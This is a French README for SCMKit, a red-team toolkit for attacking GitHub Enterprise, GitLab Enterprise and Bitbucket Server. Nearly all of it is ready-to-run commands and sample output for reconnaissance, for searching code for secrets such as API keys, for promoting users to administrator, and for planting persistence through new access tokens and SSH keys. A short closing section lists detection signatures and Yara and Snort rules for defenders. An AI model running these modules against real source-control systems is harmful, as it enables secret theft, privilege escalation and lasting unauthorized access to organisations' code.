
Kit d'attaque pour la gestion de code source
Source Code Management Attack Toolkit - SCMKit est une boîte à outils qui peut être utilisée pour attaquer les systèmes SCM. SCMKit permet à l'utilisateur de spécifier le système SCM et le module d'attaque à utiliser, ainsi que des identifiants valides (nom d'utilisateur/mot de passe ou clé API) pour le système SCM correspondant. Actuellement, les systèmes SCM pris en charge par SCMKit sont GitHub Enterprise, GitLab Enterprise et Bitbucket Server. Les modules d'attaque pris en charge incluent la reconnaissance, l'élévation de privilèges et la persistance. SCMKit a été conçu de manière modulaire afin que de nouveaux modules et systèmes SCM puissent être ajoutés à l'avenir par la communauté de la sécurité informatique.
Les bibliothèques tierces suivantes sont utilisées dans ce projet.
Suivez les étapes ci-dessous pour configurer Visual Studio et compiler le projet vous-même. Cela nécessite une bibliothèque .NET qui peut être installée à partir du gestionnaire de paquets NuGet.
https://api.nuget.org/v3/index.jsonInstall-Package Costura.Fody -Version 3.3.3Install-Package OctokitInstall-Package GitLabApiClientInstall-Package Newtonsoft.JsonLe tableau ci-dessous indique les systèmes pris en charge pour chaque module
Découvrir les dépôts utilisés dans un système SCM particulier
Fournissez le module listrepo, ainsi que les informations d'authentification pertinentes et l'URL. Cela affichera le nom du dépôt et son URL.
Cela listera tous les dépôts qu'un utilisateur peut voir.
SCMKit.exe -s github -m listrepo -c userName:password -u https://github.something.local
SCMKit.exe -s github -m listrepo -c apiKey -u https://github.something.local
Cela listera tous les dépôts qu'un utilisateur peut voir.
SCMKit.exe -s gitlab -m listrepo -c userName:password -u https://gitlab.something.local
SCMKit.exe -s gitlab -m listrepo -c apiKey -u https://gitlab.something.local
Cela listera tous les dépôts qu'un utilisateur peut voir.
SCMKit.exe -s bitbucket -m listrepo -c userName:password -u https://bitbucket.something.local
SCMKit.exe -s bitbucket -m listrepo -c apiKey -u https://bitbucket.something.local
C:>SCMKit.exe -s gitlab -m listrepo -c username:password -u https://gitlab.hogwarts.local
================================================== Module: listrepo System: gitlab Auth Type: Username/Password Options: Target URL: https://gitlab.hogwarts.local
Name | Visibility | URL
MaraudersMap | Private | https://gitlab.hogwarts.local/hpotter/maraudersmap
testingStuff | Internal | https://gitlab.hogwarts.local/adumbledore/testingstuff
Spellbook | Internal | https://gitlab.hogwarts.local/hpotter/spellbook
findShortestPathToGryffindorSword | Internal | https://gitlab.hogwarts.local/hpotter/findShortestPathToGryffindorSword
charms | Public | https://gitlab.hogwarts.local/hgranger/charms
Secret-Spells | Internal | https://gitlab.hogwarts.local/adumbledore/secret-spells
Monitoring | Internal | https://gitlab.hogwarts.local/gitlab-instance-10590c85/Monitoring
### Rechercher des dépôts
#### Cas d'utilisation
> *Rechercher des dépôts par nom de dépôt dans un système SCM particulier*
#### Syntaxe
Fournissez le module `searchrepo` et vos critères de recherche dans le paramètre de ligne de commande `-o`, ainsi que toutes les informations d'authentification pertinentes et l'URL. Cela renverra le nom et l'URL du dépôt correspondant.
##### GitHub Enterprise
La recherche de dépôts GitHub est une recherche de type « contient » où la chaîne que vous saisissez recherchera les dépôts dont le nom contient votre terme de recherche.
`SCMKit.exe -s github -m searchrepo -c userName:password -u https://github.something.local -o "some search term"`
`SCMKit.exe -s github -m searchrepo -c apikey -u https://github.something.local -o "some search term"`
##### GitLab Enterprise
La recherche de dépôts GitLab est une recherche de type « contient » où la chaîne que vous saisissez recherchera les dépôts dont le nom contient votre terme de recherche.
`SCMKit.exe -s gitlab -m searchrepo -c userName:password -u https://gitlab.something.local -o "some search term"`
`SCMKit.exe -s gitlab -m searchrepo -c apikey -u https://gitlab.something.local -o "some search term"`
##### Bitbucket Server
La recherche de dépôts Bitbucket est une recherche de type « commence par » où la chaîne que vous saisissez recherchera les dépôts dont le nom commence par votre terme de recherche.
`SCMKit.exe -s bitbucket -m searchrepo -c userName:password -u https://bitbucket.something.local -o "some search term"`
`SCMKit.exe -s bitbucket -m searchrepo -c apikey -u https://bitbucket.something.local -o "some search term"`
#### Exemple de sortie```
C:\>SCMKit.exe -s gitlab -m searchrepo -c apiKey -u https://gitlab.hogwarts.local -o "spell"
==================================================
Module: searchrepo
System: gitlab
Auth Type: API Key
Options: spell
Target URL: https://gitlab.hogwarts.local
Timestamp: 1/14/2022 8:32:30 PM
==================================================
Name | Visibility | URL
----------------------------------------------------------------------------------------------------------
Spellbook | Internal | https://gitlab.hogwarts.local/hpotter/spellbook
Secret-Spells | Internal | https://gitlab.hogwarts.local/adumbledore/secret-spells
Rechercher du code contenant un mot-clé donné dans un système SCM particulier
Fournissez le module searchcode et vos critères de recherche dans l'option -o de la ligne de commande, ainsi que les informations d'authentification et l'URL correspondantes. Cela affichera l'URL du fichier de code correspondant, ainsi que la ligne du code qui correspond.
La recherche de code GitHub est une recherche « contient » où la chaîne que vous saisissez recherchera du code contenant votre terme de recherche sur n'importe quelle ligne.
SCMKit.exe -s github -m searchcode -c userName:password -u https://github.something.local -o "some search term"
SCMKit.exe -s github -m searchcode -c apikey -u https://github.something.local -o "some search term"
La recherche de code GitLab est une recherche « contient » où la chaîne que vous saisissez recherchera du code contenant votre terme de recherche sur n'importe quelle ligne.
SCMKit.exe -s gitlab -m searchcode -c userName:password -u https://gitlab.something.local -o "some search term"
SCMKit.exe -s gitlab -m searchcode -c apikey -u https://gitlab.something.local -o "some search term"
La recherche de code Bitbucket est une recherche « contient » où la chaîne que vous saisissez recherchera du code contenant votre terme de recherche sur n'importe quelle ligne.
SCMKit.exe -s bitbucket -m searchcode -c userName:password -u https://bitbucket.something.local -o "some search term"
SCMKit.exe -s bitbucket -m searchcode -c apikey -u https://bitbucket.something.local -o "some search term"
C:>SCMKit.exe -s gitlab -m searchcode -c username:password -u https://gitlab.hogwarts.local -o "api_key"
================================================== Module: searchcode System: gitlab Auth Type: Username/Password Options: api_key Target URL: https://gitlab.hogwarts.local
[>] URL: https://gitlab.hogwarts.local/adumbledore/secret-spells/stuff.txt |_ API_KEY=abc123
Total number of items matching code search: 1
### Rechercher des fichiers
#### Cas d'utilisation
> *Rechercher des fichiers dans les dépôts contenant un mot-clé donné dans le nom de fichier dans un système SCM particulier*
#### Syntaxe
Fournissez le module `searchfile` et vos critères de recherche dans le commutateur de ligne de commande `-o`, ainsi que toute information d'authentification pertinente et l'URL. Cela affichera l'URL du fichier correspondant dans son dépôt respectif.
##### GitHub Enterprise
La recherche de fichiers GitLab est une recherche « contient » où la chaîne que vous saisissez recherchera les fichiers qui contiennent votre terme de recherche dans le nom de fichier.
`SCMKit.exe -s github -m searchfile -c userName:password -u https://github.something.local -o "some search term"`
`SCMKit.exe -s github -m searchfile -c apikey -u https://github.something.local -o "some search term"`
##### GitLab Enterprise
La recherche de fichiers GitLab est une recherche « contient » où la chaîne que vous saisissez recherchera les fichiers qui contiennent votre terme de recherche dans le nom de fichier.
`SCMKit.exe -s gitlab -m searchfile -c userName:password -u https://gitlab.something.local -o "some search term"`
`SCMKit.exe -s gitlab -m searchfile -c apikey -u https://gitlab.something.local -o "some search term"`
##### Bitbucket Server
La recherche de fichiers Bitbucket est une recherche « contient » où la chaîne que vous saisissez recherchera les fichiers qui contiennent votre terme de recherche dans le nom de fichier.
`SCMKit.exe -s bitbucket -m searchfile -c userName:password -u https://bitbucket.something.local -o "some search term"`
`SCMKit.exe -s bitbucket -m searchfile -c apikey -u https://bitbucket.something.local -o "some search term"`
#### Exemple de sortie```
C:\source\SCMKit\SCMKit\bin\Release>SCMKit.exe -s bitbucket -m searchfile -c apikey -u http://bitbucket.hogwarts.local:7990 -o jenkinsfile
==================================================
Module: searchfile
System: bitbucket
Auth Type: API Key
Options: jenkinsfile
Target URL: http://bitbucket.hogwarts.local:7990
Timestamp: 1/14/2022 10:17:59 PM
==================================================
[>] REPO: http://bitbucket.hogwarts.local:7990/scm/~HPOTTER/hpotter
[>] FILE: Jenkinsfile
[>] REPO: http://bitbucket.hogwarts.local:7990/scm/STUD/cred-decryption
[>] FILE: subDir/Jenkinsfile
Total matching results: 2
Lister les snippets appartenant à l'utilisateur actuel dans GitLab
Fournissez le module listsnippet, ainsi que toute information d'authentification et URL pertinentes.
SCMKit.exe -s gitlab -m listsnippet -c userName:password -u https://gitlab.something.local
SCMKit.exe -s gitlab -m listsnippet -c apikey -u https://gitlab.something.local
C:>SCMKit.exe -s gitlab -m listsnippet -c username:password -u https://gitlab.hogwarts.local
================================================== Module: listsnippet System: gitlab Auth Type: Username/Password Options: Target URL: https://gitlab.hogwarts.local
Title | Raw URL
spell-script | https://gitlab.hogwarts.local/-/snippets/2/raw
### Lister les runners
#### Cas d'utilisation
> *Liste tous les runners GitLab disponibles pour l'utilisateur actuel dans GitLab*
#### Syntaxe
Fournissez le module `listrunner`, ainsi que toutes les informations d'authentification et l'URL pertinentes. Si l'utilisateur est un administrateur, vous pourrez lister tous les runners de l'instance GitLab Enterprise, y compris les runners partagés et de groupe.
##### GitLab Enterprise
`SCMKit.exe -s gitlab -m listrunner -c userName:password -u https://gitlab.something.local`
`SCMKit.exe -s gitlab -m listrunner -c apikey -u https://gitlab.something.local`
#### Exemple de sortie```
C:\>SCMKit.exe -s gitlab -m listrunner -c username:password -u https://gitlab.hogwarts.local
==================================================
Module: listrunner
System: gitlab
Auth Type: Username/Password
Options:
Target URL: https://gitlab.hogwarts.local
Timestamp: 1/25/2022 11:40:08 AM
==================================================
ID | Name | Repo Assigned
---------------------------------------------------------------------------------
2 | gitlab-runner | https://gitlab.hogwarts.local/hpotter/spellbook.git
3 | gitlab-runner | https://gitlab.hogwarts.local/hpotter/maraudersmap.git
Lister les gists appartenant à l'utilisateur actuel dans GitHub
Fournissez le module listgist, ainsi que toute information d'authentification pertinente et l'URL.
SCMKit.exe -s github -m listgist -c userName:password -u https://github.something.local
SCMKit.exe -s github -m listgist -c apikey -u https://github.something.local
C:>SCMKit.exe -s github -m listgist -c username:password -u https://github-enterprise.hogwarts.local
================================================== Module: listgist System: github Auth Type: Username/Password Options: Target URL: https://github-enterprise.hogwarts.local
Description | Visibility | URL
Shell Script to Decode Spell | public | https://github-enterprise.hogwarts.local/gist/c11c6bb3f47fe67183d5bc9f048412a1
### Lister les organisations
#### Cas d'utilisation
> *Lister toutes les organisations auxquelles l'utilisateur actuel appartient dans GitHub*
#### Syntaxe
Fournissez le module `listorg`, ainsi que les informations d'authentification et l'URL pertinentes.
##### GitHub Enterprise
`SCMKit.exe -s github -m listorg -c userName:password -u https://github.something.local`
`SCMKit.exe -s github -m listorg -c apiKey -u https://github.something.local`
#### Exemple de sortie```
C:\>SCMKit.exe -s github -m listorg -c username:password -u https://github-enterprise.hogwarts.local
==================================================
Module: listorg
System: github
Auth Type: Username/Password
Options:
Target URL: https://github-enterprise.hogwarts.local
Timestamp: 1/14/2022 9:44:48 PM
==================================================
Name | URL
-----------------------------------------------------------------------------------
Hogwarts | https://github-enterprise.hogwarts.local/api/v3/orgs/Hogwarts/repos
Obtenir les privilèges attribués à un jeton d'accès utilisé dans un système SCM particulier
Fournissez le module privs, ainsi qu'une clé API et une URL.
SCMKit.exe -s github -m privs -c apiKey -u https://github.something.local
SCMKit.exe -s gitlab -m privs -c apiKey -u https://gitlab.something.local
C:>SCMKit.exe -s gitlab -m privs -c apikey -u https://gitlab.hogwarts.local
================================================== Module: privs System: gitlab Auth Type: API Key Options: Target URL: https://gitlab.hogwarts.local
Token Name | Active? | Privilege | Description
hgranger-api-token | True | api | Read-write for the complete API, including all groups and projects, the Container Registry, and the Package Registry. hgranger-api-token | True | read_user | Read-only for endpoints under /users. Essentially, access to any of the GET requests in the Users API. hgranger-api-token | True | read_api | Read-only for the complete API, including all groups and projects, the Container Registry, and the Package Registry. hgranger-api-token | True | read_repository | Read-only (pull) for the repository through git clone. hgranger-api-token | True | write_repository | Read-write (pull, push) for the repository through git clone. Required for accessing Git repositories over HTTP when 2FA is enabled.
### Ajouter un administrateur
#### Cas d'utilisation
> *Promouvoir un utilisateur normal à un rôle d'administrateur dans un système SCM particulier*
#### Syntaxe
Fournissez le module `addadmin`, ainsi que toute information d'authentification pertinente et l'URL. De plus, indiquez l'utilisateur cible auquel vous souhaitez ajouter un rôle d'administration.
##### GitHub Enterprise
`SCMKit.exe -s github -m addadmin -c userName:password -u https://github.something.local -o targetUserName`
`SCMKit.exe -s github -m addadmin -c apikey -u https://github.something.local -o targetUserName`
##### GitLab Enterprise
`SCMKit.exe -s gitlab -m addadmin -c userName:password -u https://gitlab.something.local -o targetUserName`
`SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.something.local -o targetUserName`
##### Bitbucket Server
Seule l'authentification par nom d'utilisateur/mot de passe est prise en charge pour effectuer des actions non liées aux dépôts ou aux projets dans Bitbucket.
`SCMKit.exe -s bitbucket -m addadmin -c userName:password -u https://bitbucket.something.local -o targetUserName`
#### Exemple de sortie```
C:\>SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.hogwarts.local -o hgranger
==================================================
Module: addadmin
System: gitlab
Auth Type: API Key
Options: hgranger
Target URL: https://gitlab.hogwarts.local
Timestamp: 1/14/2022 9:19:32 PM
==================================================
[+] SUCCESS: The hgranger user was successfully added to the admin role.
Rétrograder un utilisateur administrateur à un rôle d'utilisateur normal dans un système SCM particulier
Fournissez le module removeadmin, ainsi que les informations d'authentification et l'URL pertinentes. De plus, fournissez l'utilisateur cible dont vous souhaitez supprimer le rôle d'administrateur.
SCMKit.exe -s github -m removeadmin -c userName:password -u https://github.something.local -o targetUserName
SCMKit.exe -s github -m removeadmin -c apikey -u https://github.something.local -o targetUserName
SCMKit.exe -s gitlab -m removeadmin -c userName:password -u https://gitlab.something.local -o targetUserName
SCMKit.exe -s gitlab -m removeadmin -c apikey -u https://gitlab.something.local -o targetUserName
Seule l'authentification par nom d'utilisateur/mot de passe est prise en charge pour effectuer des actions non liées aux dépôts ou aux projets dans Bitbucket.
SCMKit.exe -s bitbucket -m removeadmin -c userName:password -u https://bitbucket.something.local -o targetUserName
C:>SCMKit.exe -s gitlab -m removeadmin -c username:password -u https://gitlab.hogwarts.local -o hgranger
================================================== Module: removeadmin System: gitlab Auth Type: Username/Password Options: hgranger Target URL: https://gitlab.hogwarts.local
[+] SUCCESS: The hgranger user was successfully removed from the admin role.
### Créer un jeton d'accès
#### Cas d'utilisation
> *Créer un jeton d'accès à utiliser dans un système SCM particulier*
#### Syntaxe
Fournissez le module `createpat`, ainsi que toute information d'authentification et URL pertinente. De plus, fournissez l'utilisateur cible pour lequel vous souhaitez créer un jeton d'accès.
##### GitLab Enterprise
Cela ne peut être effectué que par un administrateur. Vous fournirez le nom d'utilisateur pour lequel vous souhaitez créer un PAT.
`SCMKit.exe -s gitlab -m createpat -c userName:password -u https://gitlab.something.local -o targetUserName`
`SCMKit.exe -s gitlab -m createpat -c apikey -u https://gitlab.something.local -o targetUserName`
##### Bitbucket Server
Crée un PAT pour l'utilisateur actuel qui s'authentifie. Dans Bitbucket, vous ne pouvez pas créer de PAT pour un autre utilisateur, même en tant qu'administrateur. Seule l'authentification par nom d'utilisateur/mot de passe est prise en charge pour effectuer des actions non liées aux dépôts ou projets dans Bitbucket. Notez l'ID du PAT qui s'affiche après sa création. Vous en aurez besoin lorsque vous devrez supprimer le PAT à l'avenir.
`SCMKit.exe -s bitbucket -m createpat -c userName:password -u https://bitbucket.something.local`
#### Exemple de sortie```
C:\>SCMKit.exe -s gitlab -m createpat -c username:password -u https://gitlab.hogwarts.local -o hgranger
==================================================
Module: createpat
System: gitlab
Auth Type: Username/Password
Options: hgranger
Target URL: https://gitlab.hogwarts.local
Timestamp: 1/20/2022 1:51:23 PM
==================================================
ID | Name | Token
-----------------------------------------------------
59 | SCMKIT-AaCND | R3ySx_8HUn6UQ_6onETx
[+] SUCCESS: The hgranger user personal access token was successfully added.
Liste les jetons d'accès pour un utilisateur sur un système SCM particulier
Fournissez le module listpat, ainsi que les éventuelles informations d'authentification et l'URL.
Nécessite seulement les droits administrateur si vous souhaitez lister les PAT d'un autre utilisateur. Un utilisateur normal peut lister ses propres PAT.
SCMKit.exe -s gitlab -m listpat -c userName:password -u https://gitlab.something.local -o targetUser
SCMKit.exe -s gitlab -m listpat -c apikey -u https://gitlab.something.local -o targetUser
Liste les jetons d'accès pour l'utilisateur actuel. Seule l'authentification par nom d'utilisateur/mot de passe est prise en charge pour effectuer des actions non liées aux dépôts ou projets dans Bitbucket.
SCMKit.exe -s bitbucket -m listpat -c userName:password -u https://bitbucket.something.local
Liste les jetons d'accès pour un autre utilisateur (nécessite les droits administrateur). Seule l'authentification par nom d'utilisateur/mot de passe est prise en charge pour effectuer des actions non liées aux dépôts ou projets dans Bitbucket.
SCMKit.exe -s bitbucket -m listpat -c userName:password -u https://bitbucket.something.local -o targetUser
C:>SCMKit.exe -s gitlab -m listpat -c username:password -u https://gitlab.hogwarts.local -o hgranger
================================================== Module: listpat System: gitlab Auth Type: Username/Password Options: hgranger Target URL: https://gitlab.hogwarts.local
59 | SCMKIT-AaCND | True | api, read_repository, write_repository
### Supprimer le jeton d'accès
#### Cas d'utilisation
> *Supprimer un jeton d'accès pour un utilisateur dans un système SCM particulier*
#### Syntaxe
Fournissez le module `removepat`, ainsi que les informations d'authentification et l'URL pertinentes. De plus, fournissez l'ID du PAT de l'utilisateur cible pour lequel vous souhaitez supprimer un jeton d'accès.
##### GitLab Enterprise
Nécessite seulement les droits d'administrateur si vous voulez supprimer le PAT d'un autre utilisateur. Un utilisateur régulier peut supprimer son propre PAT. Vous devez fournir l'ID du PAT à supprimer. Cet ID était affiché lors de la création du PAT et également lors de la liste des PAT.
`SCMKit.exe -s gitlab -m removepat -c userName:password -u https://gitlab.something.local -o patID`
`SCMKit.exe -s gitlab -m removepat -c apikey -u https://gitlab.something.local -o patID`
##### Bitbucket Server
Seule l'authentification par nom d'utilisateur/mot de passe est prise en charge pour effectuer des actions non liées aux dépôts ou aux projets dans Bitbucket. Vous devez fournir l'ID du PAT à supprimer. Cet ID était affiché lors de la création du PAT.
`SCMKit.exe -s bitbucket -m removepat -c userName:password -u https://bitbucket.something.local -o patID`
#### Exemple de sortie```
C:\>SCMKit.exe -s gitlab -m removepat -c apikey -u https://gitlab.hogwarts.local -o 58
==================================================
Module: removepat
System: gitlab
Auth Type: API Key
Options: 59
Target URL: https://gitlab.hogwarts.local
Timestamp: 1/20/2022 1:56:47 PM
==================================================
[*] INFO: Revoking personal access token of ID: 59
[+] SUCCESS: The personal access token of ID 59 was successfully revoked.
Créez une clé SSH à utiliser dans un système SCM particulier
Fournissez le module createsshkey, ainsi que toute information d'authentification et URL pertinente.
Crée une clé SSH pour l'utilisateur actuel qui s'authentifie.
SCMKit.exe -s github -m createsshkey -c userName:password -u https://github.something.local -o "ssh public key"
SCMKit.exe -s github -m createsshkey -c apiToken -u https://github.something.local -o "ssh public key"
Crée une clé SSH pour l'utilisateur actuel qui s'authentifie. Prenez note de l'ID de la clé SSH affiché après sa création. Vous en aurez besoin lorsque vous devrez supprimer la clé SSH à l'avenir.
SCMKit.exe -s gitlab -m createsshkey -c userName:password -u https://gitlab.something.local -o "ssh public key"
SCMKit.exe -s gitlab -m createsshkey -c apiToken -u https://gitlab.something.local -o "ssh public key"
Crée une clé SSH pour l'utilisateur actuel qui s'authentifie. Seule l'authentification par nom d'utilisateur/mot de passe est prise en charge pour effectuer des actions non liées aux dépôts ou aux projets dans Bitbucket. Prenez note de l'ID de la clé SSH affiché après sa création. Vous en aurez besoin lorsque vous devrez supprimer la clé SSH à l'avenir.
SCMKit.exe -s bitbucket -m createsshkey -c userName:password -u https://bitbucket.something.local -o "ssh public key"
C:>SCMKit.exe -s bitbucket -m createsshkey -c username:password -u https://bitbucket.hogwarts.local -o "ssh-rsa..."
================================================== Module: createsshkey System: bitbucket Auth Type: Username/Password Options: ssh-rsa ... Target URL: http://bitbucket.hogwarts.local:7990
16
[+] SUCCESS: The hpotter user SSH key was successfully added.
### Lister les clés SSH
#### Cas d'utilisation
> *Répertorier les clés SSH d'un utilisateur sur un système SCM particulier*
#### Syntaxe
Fournissez le module `listsshkey`, ainsi que les informations d'authentification et l'URL pertinentes.
##### GitHub Enterprise
Liste les clés SSH pour l'utilisateur actuel. Cela inclut les identifiants des clés SSH, nécessaires si vous souhaitez supprimer une clé SSH.
`SCMKit.exe -s github -m listsshkey -c userName:password -u https://github.something.local`
`SCMKit.exe -s github -m listsshkey -c apiToken -u https://github.something.local`
##### GitLab Enterprise
Liste les clés SSH pour l'utilisateur actuel.
`SCMKit.exe -s gitlab -m listsshkey -c userName:password -u https://gitlab.something.local`
`SCMKit.exe -s gitlab -m listsshkey -c apiToken -u https://gitlab.something.local`
##### Bitbucket Server
Liste les clés SSH pour l'utilisateur actuel. Seule l'authentification par nom d'utilisateur/mot de passe est prise en charge pour effectuer des actions non liées aux dépôts ou projets dans Bitbucket.
`SCMKit.exe -s bitbucket -m listsshkey -c userName:password -u https://bitbucket.something.local`
#### Exemple de sortie```
C:\>SCMKit.exe -s gitlab -m listsshkey -u http://gitlab.hogwarts.local -c apiToken
==================================================
Module: listsshkey
System: gitlab
Auth Type: API Key
Options:
Target URL: https://gitlab.hogwarts.local
Timestamp: 2/7/2022 4:09:40 PM
==================================================
SSH Key ID | SSH Key Value | Title
---------------------------------------------------------------
9 | .....p50edigBAF4lipVZkAM= | SCMKIT-RLzie
10 | .....vGJLPGHiTwIxW9i+xAs= | SCMKIT-muFGU
Supprimer une clé SSH pour un utilisateur dans un système SCM spécifique
Fournissez le module removesshkey, ainsi que les informations d'authentification pertinentes et l'URL. De plus, fournissez l'ID de la clé SSH de l'utilisateur cible à supprimer.
Vous devez fournir l'ID de la clé SSH à supprimer. Cet ID est affiché chaque fois que vous listez les clés SSH.
SCMKit.exe -s github -m removesshkey -c userName:password -u https://github.something.local -o sshKeyID
SCMKit.exe -s github -m removesshkey -c apiToken -u https://github.something.local -o sshKeyID
Vous devez fournir l'ID de la clé SSH à supprimer. Cet ID est affiché lorsque vous créez la clé SSH et également lors de la liste des clés SSH.
SCMKit.exe -s gitlab -m removesshkey -c userName:password -u https://gitlab.something.local -o sshKeyID
SCMKit.exe -s gitlab -m removesshkey -c apiToken -u https://gitlab.something.local -o sshKeyID
Seule l'authentification par nom d'utilisateur/mot de passe est prise en charge pour effectuer des actions non liées aux dépôts ou aux projets dans Bitbucket. Vous devez fournir l'ID de la clé SSH à supprimer. Cet ID est affiché lorsque vous créez la clé SSH et également lors de la liste des clés SSH.
SCMKit.exe -s bitbucket -m removesshkey -c userName:password -u https://bitbucket.something.local -o sshKeyID
C:>SCMKit.exe -s bitbucket -m removesshkey -u http://bitbucket.hogwarts.local:7990 -c username:password -o 16
================================================== Module: removesshkey System: bitbucket Auth Type: Username/Password Options: 16 Target URL: http://bitbucket.hogwarts.local:7990
[+] SUCCESS: The SSH key of ID 16 was successfully revoked.
### Lister les statistiques d'administration
#### Cas d'utilisation
> *Lister les statistiques d'administration dans GitHub Enterprise*
#### Syntaxe
Fournissez le module `adminstats`, ainsi que toute information d'authentification et URL pertinente. L'accès administrateur du site dans GitHub Enterprise est requis pour utiliser ce module.
##### GitHub Enterprise
`SCMKit.exe -s github -m adminstats -c userName:password -u https://github.something.local`
`SCMKit.exe -s github -m adminstats -c apikey -u https://github.something.local`
#### Exemple de résultat```
C:\>SCMKit.exe -s github -m adminstats -c username:password -u https://github-enterprise.hogwarts.local
==================================================
Module: adminstats
System: github
Auth Type: Username/Password
Options:
Target URL: https://github-enterprise.hogwarts.local
Timestamp: 1/14/2022 9:45:50 PM
==================================================
Admin Users | Suspended Users | Total Users
------------------------------------------------------
1 | 0 | 5
Total Repos | Total Wikis
-----------------------------------
4 | 0
Total Orgs | Total Team Members | Total Teams
----------------------------------------------------------
1 | 0 | 0
Private Gists | Public Gists
-----------------------------------
0 | 1
Lister les protections de branche dans GitHub Enterprise
Fournissez le module protection, ainsi que les informations d'authentification et l'URL appropriées. En option, indiquez une chaîne dans le paramètre options pour renvoyer les résultats correspondants contenus dans les noms de dépôt.
SCMKit.exe -s github -m protection -c userName:password -u https://github.something.local
SCMKit.exe -s github -m protection -c apikey -u https://github.something.local
SCMKit.exe -s github -m protection -c apikey -u https://github.something.local -o reponame
C:>.\SCMKit.exe -u http://github.hogwarts.local -s github -c apiToken -m protection -o public-r
================================================== Module: protection System: github Auth Type: API Key Options: public-r Target URL: http://github.hogwarts.local
Repo | Branch | Protection
public-repo | dev | Protected: True
Status checks must pass before merge:
Branch must be up-to-date before merge: True
Owner review required before merge: True
Approvals required before merge: 2
Protections apply to repo admins: True
public-repo | main | Protected: False
## Détection
Vous trouverez ci-dessous les signatures statiques pour l'utilisation spécifique de cet outil dans son état par défaut :
* GUID du projet - `{266C644A-69B1-426B-A47C-1CF32B211F80}`
* Voir [Règle Yara SCMKit](https://github.com/h4wkst3r/scmkit/blob/HEAD/Detections/SCMKit.yar) dans ce dépôt.
* Chaîne User-Agent - `SCMKIT-5dc493ada400c79dd318abbe770dac7c`
* Voir [Règle Snort SCMKit](https://github.com/h4wkst3r/scmkit/blob/HEAD/Detections/SCMKit.rules) dans ce dépôt.
* Noms des jetons d'accès et clés SSH - Les jetons d'accès et les clés SSH créés à l'aide de l'outil sont précédés de `SCMKIT-` pour le nom.
Pour des conseils de détection des techniques utilisées par l'outil, consultez le [billet de blog](https://securityintelligence.com/posts/abusing-source-code-management-systems) de X-Force Red.
## Références
* Documentation de l'API Bitbucket
* https://developer.atlassian.com/server/bitbucket/reference/rest-api/
* Documentation Octokit
* https://octokitnet.readthedocs.io/en/latest/
* https://github.com/octokit/octokit.net
* Documentation de l'API GitHub
* https://docs.github.com/en/rest/overview
* Documentation de l'API GitLab
* https://docs.gitlab.com/ee/api/api_resources.html
* Documentation du package NuGet GitLabApiClient
* https://github.com/nmklotas/GitLabApiClient
| Bibliothèque | URL | Licence |
|---|
| Octokit | https://github.com/octokit/octokit.net | Licence MIT |
| Fody | https://github.com/Fody/Fody | Licence MIT |
| GitLabApiClient | https://github.com/nmklotas/GitLabApiClient | Licence MIT |
| Newtonsoft.Json | https://github.com/JamesNK/Newtonsoft.Json | Licence MIT |
| Scénario d'attaque | Module | Nécessite Admin ? | GitHub Enterprise | GitLab Enterprise | Bitbucket Server |
|---|
| Reconnaissance | listrepo | Non | X | X | X |
| Reconnaissance | searchrepo | Non | X | X | X |
| Reconnaissance | searchcode | Non | X | X | X |
| Reconnaissance | searchfile | Non | X | X | X |
| Reconnaissance | listsnippet | Non | X | ||
| Reconnaissance | listrunner | Non | X | ||
| Reconnaissance | listgist | Non | X | ||
| Reconnaissance | listorg | Non | X | ||
| Reconnaissance | privs | Non | X | X | |
| Reconnaissance | protection | Non | X | ||
| Persistance | listsshkey | Non | X | X | X |
| Persistance | removesshkey | Non | X | X | X |
| Persistance | createsshkey | Non | X | X | X |
| Persistance | listpat | Non | X | X | |
| Persistance | removepat | Non | X | X | |
| Persistance | createpat | Oui (GitLab Enterprise uniquement) | X | X | |
| Élévation de privilèges | addadmin | Oui | X | X | X |
| Élévation de privilèges | removeadmin | Oui | X | X | X |
| Reconnaissance | adminstats | Oui | X |